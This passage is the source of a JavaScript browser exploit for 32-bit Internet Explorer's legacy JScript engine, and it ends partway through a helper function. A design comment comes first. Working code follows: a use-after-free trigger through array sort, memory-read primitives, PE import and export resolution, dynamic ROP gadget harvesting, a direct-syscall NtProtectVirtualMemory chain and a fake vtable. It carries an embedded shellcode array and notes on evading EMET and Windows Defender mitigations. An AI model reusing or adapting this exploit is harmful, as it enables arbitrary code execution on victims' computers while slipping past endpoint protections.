The other two points significantly complicated the exploit beyond what is found in
maxspl0it's version of the exploit: executing a payload as shellcode requires a
DEP bypass, which in turn requires a stack pivot. Stack pivots are perhaps the
most scrutinized part of a modern exploit attack chain targeted by the exploit
mitigations in EMET 5.5 and Windows Defender today. Furthermore, EAF+ prevents the
resolution of key DEP bypass APIs (such as in my case NtProtectVirtualMemory)
originating from within jscript.dll, which meant API resolution had to be done
via import instead.

Design

The UAF aspect of the exploit itself is best explored in the aforementioned F-Secure
blog, but in summary, the legacy JS engine contained a bug which would not track
variables passed as arguments to the "sort" method of an array. This meant that
GcBlock structures (which store the VAR structs underlying vars in JS) could be
freed by the garbage collector despite still containing active variables in the JS
script. From here, it was just a matter of re-claiming these freed  GcBlocks and
manipulating the VAR struct underlying the saved untracked vars (into BSTR for
arbitrary read attacks for example).

In both my variation and maxspl0it's the instruction pointer hijack is performed by
manipulating the VAR struct underlying one of these untracked vars to point to
a class object in another region of memory we control with the UAF re-claim. The first
field of this class object will be the vtable pointer, and thus we can place a pointer
at a method offset of our choice within this fake vtable. In this case, the "typeof"
method is used, and when the typeof the var is queried through the JS script it will
trigger execution of a pointer of our choice.

In my variation, this hijack takes the instruction pointer to a XCHG EAX, ESP gadget
within MSVCRT.DLL. There are only three gadgets in the ROP chain which need to be
scanned for in memory in order to dynamically generate the chain (this exploit does
not rely on static offsets within MSVCRT.DLL and should be reliable on any version of
this module):

1. XCHG EAX, ESP ; RET
2. POP EAX ; RET
3. ROPNOP (derived from either of the previous gadgets by doing a +1 on their address)

The goal of the ROP chain is to make a call to NtProtectVirtualMemory and change
the protections of the shellcode (stored within a BSTR) in memory from +RW to +RWX.
The issue with this, is that EMET hooks NtProtectVirtualMemory and will detect the
stack pivot. To solve this issue, I designed a syscall ROP chain which manually
populates EAX with the NtProtectVirtualMemory syscall number and triggers the syscall
itself using an unhooked region withinh NTDLL.DLL.

Payload

The payload is a simple message box shellcode, the source of which can be found here:
https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/EAF/MessageBox32.asm

There is one very significant detail to this shellcode which needs to be replicated in any
other shellcode substituted into this exploit if it is going to bypass EMET: the
shellcode makes a stack pivot using the stack base pointer stored in the TEB. This is
essential, as any call (even indirectly such as in the initialization user32.dll does
before popping a MessageBoxA) to a sensitive API hooked by EMET (and there are many of these)
will detect the stack pivot performed by the ROP chain and throw a security alert. Furthermore
if your shellcode needs to resolve APIs from NTDLL.DLL or Kernel32.dll, you will have issues
with the EAF feature of EMET, which uses debug registers to detect read access to the
export address table of these modules from any non-image memory region (such as the private
+RWX memory region where the shellcode is stored).

*/


var WindowsVersion = 7;
var WindowsArch = "x64"; // Can be "x64" or "x86". Note that this is the OS architecture, not the IE architecture (this exploit is for 32-bit IE only).
var Shellcode = [ 0x0004a164, 0x002d0000, 0x94000010, 0x68e58960, 0x00038f88, 0x00003ce8, 0xb81a6800, 0xe8500006, 0x0000007d, 0x7068646a, 0x89656e77, 0x656e68e1, 0x6f680074, 0x682e7272, 0x2d747365, 0x726f6668, 0x77776872, 0xe2892e77, 0x5152006a, 0xd0ff006a, 0x9461ec89, 0xe58955c3, 0x30be5657, 0x64000000, 0x0c408bad, 0x8918788b, 0xebc031fe, 0x74f73904, 0x74f68528, 0x245e8d24, 0x1474db85, 0x85044b8b, 0x6a0d74c9, 0x5de85101, 0x3b000001, 0x06740845, 0x368bc031, 0x468bd7eb, 0x895f5e10, 0x04c25dec, 0xe5895500, 0x0230ec81, 0x458b0000, 0xf8458908, 0x03f8558b, 0xc0833c42, 0xf0458904, 0x8914c083, 0xc289f445, 0x0308458b, 0x4a8b6042, 0xd04d8964, 0x89fc4589, 0x08458bc2, 0x89204203, 0x558bec45, 0x08458bfc, 0x89244203, 0x558be445, 0x08458bfc, 0x891c4203, 0xc031e845, 0x89e04589, 0x458bd845, 0x18408bfc, 0x0fe0453b, 0x0000d286, 0xe0458b00, 0x00850c8d, 0x8b000000, 0x458bec55, 0x11040308, 0x6ad44589, 0xbde85000, 0x3b000000, 0x850f0c45, 0x000000a1, 0x8de0458b, 0x458b0014, 0x04b70fe4, 0x850c8d02, 0x00000000, 0x8be8558b, 0x04030845, 0xd8458911, 0x89fc4d8b, 0xd05503ca, 0x7f7cc839, 0x7b7dd039, 0x00d845c7, 0x31000000, 0xd09d8dc9, 0x8afffffd, 0xfa800814, 0x80207400, 0x15752efa, 0x642e03c7, 0xc3836c6c, 0x0003c604, 0xfed09d8d, 0xeb41ffff, 0x411388de, 0xc6d8eb43, 0x9d8d0003, 0xfffffdd0, 0xe853006a, 0x0000003c, 0xfea3e850, 0xc085ffff, 0x45892974, 0x8d006adc, 0xfffed095, 0x21e852ff, 0x50000000, 0xe8dc75ff, 0xfffffed1, 0xebd84589, 0xe0458d0a, 0x1fe900ff, 0x8bffffff, 0xec89d845, 0x0008c25d, 0x57e58955, 0x8b084d8b, 0xdb310c7d, 0x74003980, 0x01b60f14, 0xb60f600c, 0xd1d301d0, 0xff8541e3, 0xeb41ea74, 0x5fd889e7, 0xc25dec89, 0x00650008, ];

////////
////////
// Debug/timer code
////////

var EnableDebug = 0;
var EnableTimers = 0;
var AlertOutput = 0;
var TimeStart;
var ReadCount;

function StartTimer() {
    ReadCount = 0;
    TimeStart = new Date().getTime();
}

function EndTimer(Message) {
    var TotalTime = (new Date().getTime() - TimeStart);

    if(EnableTimers) {
        if(AlertOutput) {
            alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
        }
        else {
            console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
        }
    }
}

function DebugLog(Message) {
    if(EnableDebug) {
        if(AlertOutput) {
            alert(Message);
        }
        else {
            console.log(Message); // In IE, console only works if devtools is open.
        }
    }
}

////////
////////
// UAF/untracked variable creation code
////////

var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
var SortArray = new Array(); // Array to be "sorted" by glitched method

function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once.
    untracked_1 = VarSpray[SortDepth*2];
    untracked_2 = VarSpray[SortDepth*2 + 1];

    if(SortDepth > 150) {
        VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
        CollectGarbage(); // Free the GcBlocks
        UntrackedVarSet.push(untracked_1);
        UntrackedVarSet.push(untracked_2);
        return 0;
    }

    SortDepth += 1;
    SortArray[SortDepth].sort(GlitchedSort);
    UntrackedVarSet.push(untracked_1);
    UntrackedVarSet.push(untracked_2);
    return 0;
}

function NewUntrackedVarSet() {
    SortDepth = 0;
    VarSpray = new Array();
    NameListAnchors = new Array();
    UntrackedVarSet = new Array();
    for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
    for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
    CollectGarbage();
    SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine
}

////////
////////
// UAF re-claim/mutable variable code (used for arbitrary read)
////////

var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(379).join('A');
var MutableVar;

function ReClaimIndexNameList(Value, PropertyName) {
    CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
    AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
    CollectGarbage(); // Free the leaked NameList
    AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
    AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
    AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
    AnchorObjectsBackup[LeakedAnchorIndex]["\u0003"] = 1;
    AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
    ReadCount++;
}

function CreateVar32(Type, ObjPtr, NextVar) {
   var Data = new Array(); // Every element of this array will be a WORD
   Data.push(Type, 0x00, 0x00, 0x00, ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF, NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF);
   return String.fromCharCode.apply(null, Data);
}

function LeakByte(Address) {
    ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}

function LeakWord(Address) {
    ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}

function LeakDword(Address) {
    ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    ReClaimIndexNameList(0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    return LowWord + (HighWord << 16);
}

function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
    ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment
    var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type
    var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field
}

////////
////////
// PE parsing/EAT and IAT resolution code
////////

function DiveModuleBase(Address) {
    var Base = (Address & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.

    while(true) {
        if(LeakWord(Base) == 0x6854) { // 'hT'
            if(LeakWord(Base + 2) == 0x7369) { // 'si'
                return (Base - 0x4E);
            }
        }

        Base -= 0x10000;
    }

    return 0;
}

function ResolveExport(ModuleBase, TargetExportNameTable) {
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ExportDataDir = ModuleBase + FileHdr + 0x78;

    if(ExportDataDir) {
        var EATRva = LeakDword(ExportDataDir);
        var TotalExports = LeakDword(ModuleBase + EATRva + 0x14);
        var AddressRvas = LeakDword(ModuleBase + EATRva + 0x1C);
        var NameRvas = LeakDword(ModuleBase + EATRva + 0x20);
        var OrdinalRvas = LeakDword(ModuleBase + EATRva + 0x24);
        var MaxIndex = TotalExports;
        var MinIndex = 0;
        var CurrentIndex = Math.floor(TotalExports / 2);
        var TargetTableIndex = 0;
        var BinRes = 0;

        while(TotalExports) {
            var CurrentNameRva = LeakDword(ModuleBase + NameRvas + 4*CurrentIndex);

            while (TargetTableIndex < TargetExportNameTable.length) {
                CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)));
                var ExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
                var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
                BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
                DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10));

                if(!BinRes) {
                    DebugLog("Matched!");
                    ExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);

                    if(ExportNameWord != 0) { // Special case: final WORD of name array is 0, consider this a match
                        CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)) + 2);
                        SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
                        BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
                        DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10) + " at index " + TargetTableIndex.toString(10));

                        if(!BinRes) {
                            DebugLog("Matched!");

                            if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
                                Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex);
                                MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
                                return [ MainExport , CurrentIndex];
                            }
                            else {
                                DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10));
                            }

                            TargetTableIndex++;
                        }
                        else {
                            TargetTableIndex = 0;
                            break;
                        }
                    }
                    else {
                        if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
                            Ordinal = LeakWord(ModuleBase + OrdinalRvas + (2 * CurrentIndex));
                            MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + (4 * Ordinal)));
                            return [ MainExport, CurrentIndex];
                        }
                        else {
                            alert("Fatal error during export lookup: target export name array contained a NULL byte not at the end of its final element");
                        }
                    }
                }
                else {
                    TargetTableIndex = 0;
                    break;
                }
            }

            if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
                if(MaxIndex == CurrentIndex) {
                    DebugLog("Failed to find export: index hit max");
                    break;
                }

                MaxIndex = CurrentIndex;
                CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
            }
            else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
                if(MinIndex == CurrentIndex) {
                    DebugLog("Failed to find export: index hit min");
                    break;
                }

                MinIndex = CurrentIndex;
                CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
            }

            if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
                DebugLog("Failed to find export: current, min and max indexes are all equal");
                break;
            }
        }
    }

    return [0,0];
}

function CheckINTThunk(ModuleBase, INTThunkRva, TargetImportNameTable) {
    var INTThunkValue = LeakDword(ModuleBase + INTThunkRva);

    if(INTThunkValue == 0) {
        return -1;
    }

    if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries
        var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name.

        if(StrcmpLeak(TargetImportNameTable, ImportNameAddress)) {
            return 1;
        }
    }

    return 0;
}

function ResolveImport(ModuleBase, HintIndex, TargetModuleNameTable, TargetImportNameTable) {
    var ExtractedAddresss = 0;
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
    var ImportRva = LeakDword(ImportDataDir);
    var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
    var CurrentNameDesc = ModuleBase + ImportRva;

    while(ImportSize != 0) {
        NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer

        if(NameField != 0) {
            if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
                // Found the target module by name. Walk its INT to check each name.

                var HighIATIndex = (HintIndex + 1);
                var LowIATIndex = (HintIndex - 1);
                var BaseINTThunkRva = (LeakDword(CurrentNameDesc + 0x0));
                var BaseIATThunkRva = (LeakDword(CurrentNameDesc + 0x10));
                var ResolvedIATIndex = -1;

                if(BaseINTThunkRva == 0) {
                    alert("INT is empty in target module");
                }

                // Start by checking the INT at the specified hint index

                if(CheckINTThunk(ModuleBase, BaseINTThunkRva + (HintIndex * 4), TargetImportNameTable)) {
                    ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva);
                    break;
                }

                // Specified import was not found at the provided hint index. Walk the INT forward/backward in unison from the hint index.

                var HighINTThunkRva = (BaseINTThunkRva + (HighIATIndex * 4));
                var LowINTThunkRva = (BaseINTThunkRva + (LowIATIndex * 4));
                var HitINTThunkCeiling = 0;

                while(true) {
                    if(!HitINTThunkCeiling) {
                        var ThunkRes = CheckINTThunk(ModuleBase, HighINTThunkRva, TargetImportNameTable);

                        if(ThunkRes == -1) {
                            HitINTThunkCeiling = 1;
                        }
                        else if(ThunkRes) {
                            ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (HighIATIndex * 4));
                            ResolvedIATIndex = HighIATIndex;
                            break;
                        }
                        else {
                            HighINTThunkRva += 4;
                            HighIATIndex++;
                        }
                    }

                    if(LowINTThunkRva >= BaseINTThunkRva) {
                        if(CheckINTThunk(ModuleBase, LowINTThunkRva, TargetImportNameTable)) {
                            ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (LowIATIndex * 4));
                            ResolvedIATIndex = LowIATIndex;
                            break;
                        }

                        LowINTThunkRva -= 4;
                        LowIATIndex--;
                    }
                }

                if(ExtractedAddresss != 0) {
                    DebugLog("Identified target import at IAT index " + ResolvedIATIndex.toString(10));
                    break;
                }
            }

            ImportSize -= 0x14;
            CurrentNameDesc += 0x14; // Next import descriptor in array
        }
        else {
            break;
        }
    }

    return ExtractedAddresss;
}

function ExtractBaseFromImports(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
    var ExtractedAddresss = 0;
    var FileHdr = LeakDword(ModuleBase + 0x3c);
    var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
    var ImportRva = LeakDword(ImportDataDir);
    var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
    var CurrentNameDesc = ModuleBase + ImportRva;

    while(ImportSize != 0) {
        NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer

        if(NameField != 0) {
            if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
                ThunkAddress = LeakDword(CurrentNameDesc + 0x10);
                ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
                break;
            }

            ImportSize -= 0x14;
            CurrentNameDesc += 0x14; // Next import descriptor in array
        }
        else {
            break;
        }
    }

    return ExtractedAddresss;
}

////////
////////
// Dynamic ROP chain creation code
////////

function HarvestGadget(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
    var MaxHighOffset = (HintExportAddress + MagicOffset + MaxDelta);
    var MinLowOffset = ((HintExportAddress + MagicOffset) - MaxDelta);
    var LeakAddress = HintExportAddress + MagicOffset;
    var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered

    if(MinLowOffset < HintExportAddress) {
        MinLowOffset = HintExportAddress;
    }

    DebugLog("Hunting for gadget 0x" + Data.toString(16) + " betwee 0x" + MinLowOffset.toString(16) + " and 0x" + MaxHighOffset.toString(16) + " starting from 0x" + LeakAddress.toString(16));

    if(DataMask == 0x0000FFFF) {
        LeakFunc = LeakWord;
    }
    else {
        alert("Unhaandled data mask for gadget harvest");
        return 0;
    }

    if((LeakFunc(LeakAddress) & DataMask) == Data) {
        DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
    }
    else {
        var HighAddress = (LeakAddress + 1);
        var LowAddress = LeakAddress - 1;

        LeakAddress = 0;

        while(LowAddress >= MinLowOffset || HighAddress < MaxHighOffset) {
            if(LowAddress >= MinLowOffset) {
                if((LeakFunc(LowAddress) & DataMask) == Data) {
                    DebugLog("Found gadget from scan below magic at " + LowAddress.toString(16));
                    LeakAddress = LowAddress;
                    break;
                }

                LowAddress -= 1;
            }

            if(HighAddress < MaxHighOffset) {
                if((LeakFunc(HighAddress) & DataMask) == Data) {
                    DebugLog("Found gadget from scan above magic at " + HighAddress.toString(16));
                    LeakAddress = HighAddress;
                    break;
                }

                HighAddress += 1;
            }
        }
    }

    return LeakAddress;
}

function ResolveNtProtectProxyStub(ScanAddress, MaxOffset) {
    /*
    Windows 7 x64 NTDLL Wow64

    7725001A | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
    77250021 | 83C4 04                  | add esp,4                               |
    77250024 | C2 0800                  | ret 8                                   |
    77250027 | 90                       | nop                                     |
    77250028 | E9 BB0857BF              | jmp 367C08E8                            | <- NtProtectVirtualMemory
    7725002D | CC                       | int3                                    |
    7725002E | CC                       | int3                                    |
    7725002F | 8D5424 04                | lea edx,dword ptr ss:[esp+4]            |
    77250033 | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
    7725003A | 83C4 04                  | add esp,4                               |
    7725003D | C2 1400                  | ret 14                                  |
    77250040 | B8 4E000000              | mov eax,4E                              | 4E:'N'
    77250045 | 33C9                     | xor ecx,ecx                             |
    77250047 | 8D5424 04                | lea edx,dword ptr ss:[esp+4]            |
    7725004B | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
    77250052 | 83C4 04                  | add esp,4                               |
    77250055 | C2 1400                  | ret 14                                  |

    Windows 7 x86 NTDLL 32-bit

    77305F18 | B8 D7000000              | mov eax,D7                              | <- NtProtectVirtualMemory
    77305F1D | BA 0003FE7F              | mov edx,<&KiFastSystemCall>             | <- stub resolved here
    77305F22 | FF12                     | call dword ptr ds:[edx]                 |
    77305F24 | C2 1400                  | ret 14                                  |
    */

    var Offset = 0;
    var LastMovEaxAddress = 0;
    var ProxyStubAddress = 0;
    var RetnScenarioOne = 0;
    var RetnScenarioTwo = 0;

    // Scan forward searching for 0xB8 opcode. Once one is found, scan forward until 0xC2 0x14 0x00 is found. Proxy stub address will be the address of the last 0xB8 opcode +5.

    while(Offset < MaxOffset) {
        var LeakAddress = ScanAddress + Offset;
        var LeakedWord = LeakWord(LeakAddress);
        var ByteOne = (LeakedWord & 0x00FF);
        var ByteTwo = ((LeakedWord & 0xFF00) >> 8);

        if(ByteOne == 0xB8) {
            LastMovEaxAddress = LeakAddress;
        }
        else if(ByteTwo == 0xB8) {
            LastMovEaxAddress = (LeakAddress + 1);
        }

        /*
        Scenario one:

            Byte one = 0xc2
            Byte two = 0x14

        Next:

            Byte one = 0x00

        --

        Scenario two:

            Byte two - 0xC2

        Next:

            Byte one - 0x14
            Byte two - 0x00
        */

        else if(LastMovEaxAddress != 0) {
            if(!RetnScenarioOne) {
                if(ByteOne == 0xc2 && ByteTwo == 0x14) {
                    RetnScenarioOne = 1;
                }
            }
            else {
                if(ByteOne == 0x00) {
                    ProxyStubAddress = (LastMovEaxAddress + 5);
                    DebugLog("NtProtectVirtualMemory proxy stub scenario one scan success: 0x" + ProxyStubAddress.toString(16));
                    break;
                }
                else {
                    RetnScenarioOne = 0;
                }
            }

            if(!RetnScenarioTwo) {
                if(ByteTwo == 0xC2) {
                    RetnScenarioTwo = 1;
                }
            }
            else {
                if(ByteOne == 0x14 && ByteTwo == 0x00) {
                    ProxyStubAddress = (LastMovEaxAddress + 5);
                    DebugLog("NtProtectVirtualMemory proxy stub scenario two scan success: 0x" + ProxyStubAddress.toString(16));
                    break;
                }
                else {
                    RetnScenarioTwo = 0;
                }
            }
        }

        Offset += 2;
    }

    return ProxyStubAddress;
}

function ResolveGadgetSet(MsvcrtBase) { // Dynamically resolve gadget addresses via delta from export addresses - MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+
    var GadgetSetObj = new Object();

    DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16));

    // XCHG EAX, ESP; RET
    // For Win7 x64 Wow64:
    // __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5
    // For Win8.1:
    //__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0

    var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x31676f6c, 0x00000030]); // 'il__' 's_mb' '_2es' '1gol' '0'

    if(ExportPair[0]) {
        GadgetSetObj.StackPivot = HarvestGadget(ExportPair[0], 0x100, 0xc394, 0x0000FFFF, 0x4f0);

        if(GadgetSetObj.StackPivot != 0) {
            DebugLog("Stack pivot resolved to: " + GadgetSetObj.StackPivot.toString(16));
            GadgetSetObj.RopNop = (GadgetSetObj.StackPivot + 1);

            // POP EAX; RET
            // Win7/8 (+0x13 and same export on both)
            // _safe_fdivr:0x00031821 (+0x13) <- 0x00031834 -> (+0x208) _adj_fprem:0x00031a3c

            ExportPair = ResolveExport(MsvcrtBase, [0x6661735f, 0x64665f65, 0x00727669]); // 'fas_' 'df_e' 'rvi'

            if(ExportPair[0]) {
                GadgetSetObj.PopEax = HarvestGadget(ExportPair[0], 0x100, 0xc358, 0x0000FFFF, 0x00000013); // Win7/8.1 have same offset

                if(GadgetSetObj.PopEax) {
                    return GadgetSetObj;
                }
                else {
                    DebugLog("Failed to resolve POP EAX gadget address");
                }
            }
            else {
                DebugLog("Failed to resolve msvcrt.dll!_safe_fdivr as export hint");
            }
        }
        else {
            DebugLog("Failed to resolve stack pivot gadget address");
        }
    }
    else {
        DebugLog("Failed to resolve msvcrt.dll!__libm_sse2_log10 as export hint");
    }

    return null;
}

function CreateFakeVtable(FakeVtablePaddingSize, VtableSize, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress) {
    // [Padding]
    // [ROPNOP sled]
    // [Stack alignment gadget]
    // [Stack pivot]
    // [Set EAX to 0x4D]
    // [NtProtoectVirtualMemry]
    // [Shellcode address] <- NtProtoectVirtualMemry return
    // [NtProtoectVirtualMemry parameters]
    // [Stack pivot]
    // [Padding]

    var FakeVtable = "";
    var X = 0;
    var Y = 0;
    var PaddingArrayLen = FakeVtablePaddingSize / 4;
    var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);
    var PaddingArray = [];
    var SyscallNumber;

    for(i = 0; i < PaddingArrayLen; i++) {
        PaddingArray[i] = 0x11111111;
    }

    FakeVtable += ConvertDwordArrayToBytes(PaddingArray);

    DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16));

    while (FakeVtable.length < TotalObjLen) {
        if(Y == 0x9c) {
            FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
        }
        else if(Y == 0x98) {
            FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
        }
        else {
            FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]);
        }

        Y += 4;
    }

    // Layout of storage address region
    // +0x0 | Original ESP
    // +0x4 | Shellcode address
    // +0x8 | Shellcode size
    // +0xC | Old protection

    FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);

    if(WindowsVersion == 8.1) {
        SyscallNumber = 0x4F; // Windows 8.1 x64 NtProtectVirtualMemory SYSCALL #
    }
    else {
        if(WindowsArch == "x64") {
            SyscallNumber = 0x4D; // Windows 7 x64 SP0/SP1 Wow64 NtProtectVirtualMemory SYSCALL #
        }
        else if(WindowsArch == "x86") {
            SyscallNumber = 0xD7; // Windows 7 x86 SP0/SP1 32-bit NtProtectVirtualMemory SYSCALL #
        }
    }

    // NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);

    FakeVtable += ConvertDwordArrayToBytes([SyscallNumber]);
    FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress]);
    FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address
    FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]);
    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]);
    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]);
    FakeVtable += ConvertDwordArrayToBytes([0x40]); // +RX (PAGE_EXECUTE_READ) causes problems due to the page alignment used by NtProtectVirtualMemory. The shellcode is unlikely to begin on a clean multiple of 0x1000, and similarly won't probably end on one either (although this attribute can be manipulated with padding). +RW data on the heap surrounding the shellcode may end up +RX and this causes crashes.
    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]);
    FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]);
    FakeVtable += ConvertDwordArrayToBytes([0x11111111]); // Shellcode will return to this pseudo-address

    // Padding on the end of the vtable is not needed: both NtProtectVirtualMemory and the shellcode will be using memory below this address

    return FakeVtable;
}

////////
////////
// Misc. helper functions
////////

function NullSanitizeWord(StrWord) {
    var Sanitized = 0;

    if(StrWord != 0) {
        if((StrWord & 0x00FF) == 0) {
            Sanitized = 0; // First byte is NULL, end of the string.
        }
        else {
            Sanitized = StrWord;
        }
    }

    return Sanitized;
}

function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
    if(TargetNum == CmpNum) {
        return 0;
    }

    while(true) {
        if((TargetNum & 0xff) > (CmpNum & 0xff)) {
            return -1;
        }
        else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
            return 1;
        }

